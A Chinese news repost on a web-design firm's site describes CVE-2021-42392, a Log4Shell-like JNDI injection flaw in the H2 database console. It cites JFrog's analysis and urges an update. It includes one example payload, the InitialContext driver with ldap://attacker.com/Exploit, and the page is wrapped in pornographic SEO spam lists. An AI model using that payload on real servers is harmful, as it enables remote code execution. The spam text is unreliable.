欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

警告!與Log4Shell相似的Java漏洞出現(xiàn)了

2022-10-05    分類: 網(wǎng)站建設(shè)

警告!與Log4Shell相似的Java漏洞出現(xiàn)了

安全研究人員警告稱,一個最新的嚴重的Java錯誤,其本質(zhì)與目前在全球范圍內(nèi)利用的臭名昭著的 Log4Shell 漏洞相同 。

CVE-2021-42392 尚未在國家漏洞數(shù)據(jù)庫 (NVD) 中正式發(fā)布,但據(jù)軟件企業(yè)內(nèi)JFrog 稱,它影響了流行的H2 Java SQL 數(shù)據(jù)庫的控制臺。

這家安全公司提醒,任何目前運行的暴露于其 LAN 或 WAN 的 H2 控制臺的組織立即將數(shù)據(jù)庫更新到 2.0.206 版本,否則攻擊者可能會利用它進行未經(jīng)身份驗證的遠程代碼執(zhí)行 (RCE)。

與 Log4Shell 一樣,該錯誤與 JNDI(Java 命名和目錄接口)“遠程類加載”有關(guān)。JNDI 是一種為 Java 應(yīng)用程序提供命名和目錄功能的 API。這意味著如果攻擊者可以將惡意 URL 獲取到 JNDI 查找中,它就可以啟用 RCE。

“簡而言之,根本原因類似于 Log4Shell——H2 數(shù)據(jù)庫框架中的多個代碼路徑將未經(jīng)過濾的攻擊者控制的 URL 傳遞給 javax.naming.Context.lookup 函數(shù),該函數(shù)允許遠程代碼庫加載(AKA Java 代碼注入 AKA遠程代碼執(zhí)行),” JFrog 解釋道。

“具體來說,org.h2.util.JdbcUtils.getConnection 方法以驅(qū)動類名和數(shù)據(jù)庫 URL 作為參數(shù)。如果驅(qū)動程序的類可分配給 javax.naming.Context 類,則該方法會從中實例化一個對象并調(diào)用其查找方法?!?/p>

提供諸如“javax.naming.InitialContext”之類的驅(qū)動程序類和像 ldap://attacker.com/Exploit 這樣簡單的 URL 將導(dǎo)致遠程代碼執(zhí)行。

JFrog 表示,該漏洞特別危險,因為 H2 數(shù)據(jù)庫包特別受歡迎。該公司聲稱,它是前 50 個最受歡迎的 Maven 軟件包之一,擁有近 7000 個工件依賴項。

但是,有一些原因?qū)е吕貌粫?Log4Shell 那樣廣泛。一方面,它具有“直接影響范圍”,這意味著易受攻擊的服務(wù)器應(yīng)該更容易找到。其次,在大多數(shù) H2 發(fā)行版中,控制臺只監(jiān)聽 localhost 連接,這意味著默認設(shè)置是不可利用的。

“許多供應(yīng)商可能正在運行 H2 數(shù)據(jù)庫,但沒有運行 H2 控制臺,雖然除了控制臺之外還有其他向量可以利用這個問題,但這些其他向量是依賴于上下文的,不太可能暴露給遠程攻擊者?!盝Frog 補充道。

標題名稱:警告!與Log4Shell相似的Java漏洞出現(xiàn)了
URL網(wǎng)址:http://www.aaarwkj.com/news14/202264.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供云服務(wù)器、品牌網(wǎng)站設(shè)計、電子商務(wù)、全網(wǎng)營銷推廣、外貿(mào)建站、手機網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)頁設(shè)計公司
日韩一区二区亚洲精品| 青青草最新网址在线观看视频| 国产高清精品在线一区| 精品久久激情中文字幕| 亚洲国产欧美日韩在线| 精品人妻一区二区三区久久91 | 精品人妻系列一区二区| 91成人国产综合久久精品| 十八禁在线观看国产一区| 成人在线视频国产自拍| 日韩精品人妻一区二区网站| 免费欧美大片在线观看高清| 久久青草视频在线观看| 国产真人作爱视频免费| 欧美日韩亚洲高清专区| 韩国一级av免费在线| 中文字幕加勒比东京热| 亚洲乱码中文字幕久久| 日韩不卡高清免费在线视频| 日韩区一区二在线视频| 欧美颜射一区二区三区| 日本91大神在线观看| 日本不卡一区二区在线播放| 久久久国产精品视频一区| 情侣自拍偷拍亚洲天堂区| 日日夜夜久久国产精品| 午夜视频在线观看日韩| 亚洲精品国产精品粉嫩av| 永久免费观看黄色录像| 萌白的所有视频在线观看| 日本在线不卡一二三区| 日韩欧美亚洲一级黄片| 日本在线视频精品一区| 午夜影院免费在线观看五分钟| 久久综合给合综合久久| 男女性视频在线免费观看| 日韩欧美亚洲一区二区三区 | 亚洲国产女人精品久久久| 老湿机午夜十分钟视频| 亚洲高清中文字幕专区| 99久久偷拍美女大白屁股|